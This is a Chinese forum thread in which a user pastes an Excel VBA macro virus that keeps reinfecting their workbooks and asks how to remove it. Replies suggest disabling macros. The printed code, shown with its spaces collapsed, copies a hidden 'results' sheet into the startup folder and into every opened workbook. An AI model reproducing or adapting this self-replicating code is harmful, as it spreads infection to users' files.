问题描述
Subauto_open()Application.OnSheetActivate="ck_files"EndSubSubck_files()c$=Application.StartupPathm$=Dir(c$&""&"RESULTS.XLS")Ifm$="RESULTS.XLS"Thenp=1Elsep=0IfActiveWorkbook.Modules.Count>0Thenw=1Elsew=0whichfile=p+w*10SelectCasewhichfileCase10Application.ScreenUpdating=Falsen4$=ActiveWorkbook.NameSheets("results").Visible=TrueSheets("results").SelectSheets("results").CopyWithActiveWorkbook.Title="".Subject="".Author="".Keywords="".Comments=""EndWithnewname$=ActiveWorkbook.Namec4$=CurDir()ChDirApplication.StartupPathActiveWindow.Visible=FalseWorkbooks(newname$).SaveAsFileName:=Application.StartupPath&"/"&"RESULTS.XLS",FileFormat:=xlNormal_,Password:="",WriteResPassword:="",ReadOnlyRecommended:=_False,CreateBackup:=FalseChDirc4$Workbooks(n4$).Sheets("results").Visible=FalseApplication.OnSheetActivate=""Application.ScreenUpdating=TrueApplication.OnSheetActivate="RESULTS.XLS!ck_files"Case1Application.ScreenUpdating=Falsen4$=ActiveWorkbook.Namep4$=ActiveWorkbook.Paths$=Workbooks(n4$).Sheets(1).NameIfs$<>"results"ThenWorkbooks("RESULTS.XLS").Sheets("results").Copybefore:=Workbooks(n4$).Sheets(1)Workbooks(n4$).Sheets("results").Visible=FalseElseEndIfApplication.OnSheetActivate=""Application.ScreenUpdating=TrueApplication.OnSheetActivate="RESULTS.XLS!ck_files"CaseElseEndSelectEndSub
这个宏搞得我的excle打不开了,删掉之后又有,要怎么自动删掉呢~?
解决方案
解决方案二:
excel禁用宏嘛。
解决方案三:
引用1楼juliohuang的回复:
excel禁用宏嘛。
我还有其他的必须开着宏~~~